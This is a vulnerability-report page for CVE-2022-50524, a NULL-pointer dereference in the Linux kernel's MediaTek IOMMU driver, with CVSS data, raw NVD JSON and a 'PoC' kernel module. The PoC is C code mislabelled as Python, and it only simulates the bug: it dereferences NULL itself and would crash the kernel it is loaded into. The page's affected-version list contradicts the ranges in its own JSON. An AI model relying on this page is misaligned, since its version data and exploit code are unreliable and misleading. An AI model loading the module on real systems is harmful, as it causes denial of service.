Security Vulnerability Report
中文
CVE-2022-50524 CVSS 5.5 MEDIUM

CVE-2022-50524

Published: 2025-10-07 16:15:36
Last Modified: 2026-03-17 16:44:53
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: iommu/mediatek: Check return value after calling platform_get_resource() platform_get_resource() may return NULL pointer, we need check its return value to avoid null-ptr-deref in resource_size().

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 5.10.102(受影响的稳定版本)
Linux Kernel 5.15.x < 5.15.25
Linux Kernel 5.16.x < 5.16.11
Linux Kernel 5.17.x(部分版本受影响)
所有包含未修复的iommu/mediatek驱动的Linux内核版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2022-50524 PoC - Trigger null pointer dereference in mtk_iommu driver * This PoC demonstrates how a local user can trigger the vulnerability * by attempting to probe the MediaTek IOMMU device with missing platform resources. * * Note: Actual exploitation requires running on a MediaTek-based platform * or a properly configured test environment with the affected kernel version. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/io.h> /* Simulate the vulnerable code path in mtk_iommu_probe() */ static int trigger_mtk_iommu_null_deref(void) { struct platform_device *pdev; struct resource *res; resource_size_t size; /* In a real scenario, this would be a MediaTek IOMMU device node * in the device tree with missing or invalid resource definitions */ pdev = platform_device_alloc("mtk_iommu", -1); if (!pdev) return -ENOMEM; /* platform_get_resource() may return NULL if the resource is not defined */ res = platform_get_resource(pdev, IORESOURCE_MEM, 0); /* BUG: Missing NULL check before calling resource_size() */ size = resource_size(res); /* Triggers null-ptr-deref when res is NULL */ pr_info("IOMMU resource size: %llx\n", (unsigned long long)size); return 0; } static int __init mtk_iommu_poc_init(void) { pr_info("Loading CVE-2022-50524 PoC module\n"); trigger_mtk_iommu_null_deref(); return 0; } static void __exit mtk_iommu_poc_exit(void) { pr_info("Unloading CVE-2022-50524 PoC module\n"); } module_init(mtk_iommu_poc_init); module_exit(mtk_iommu_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2022-50524 - mtk_iommu null pointer dereference");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50524", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.283", "lastModified": "2026-03-17T16:44:52.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/mediatek: Check return value after calling platform_get_resource()\n\nplatform_get_resource() may return NULL pointer, we need check its\nreturn value to avoid null-ptr-deref in resource_size()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19", "versionEndExcluding": "6.0.16", "matchCriteriaId": "A08EEDC4-2AA1-45E2-9BEC-F711E077B623"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/73b6924cdebc899de9b719e1319aa86c6bed4acf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bfebf05883cdcf9ac983033987fae869bd59ca53", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/feca904412483b2e0a903dd1f2e2843afd445f8c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}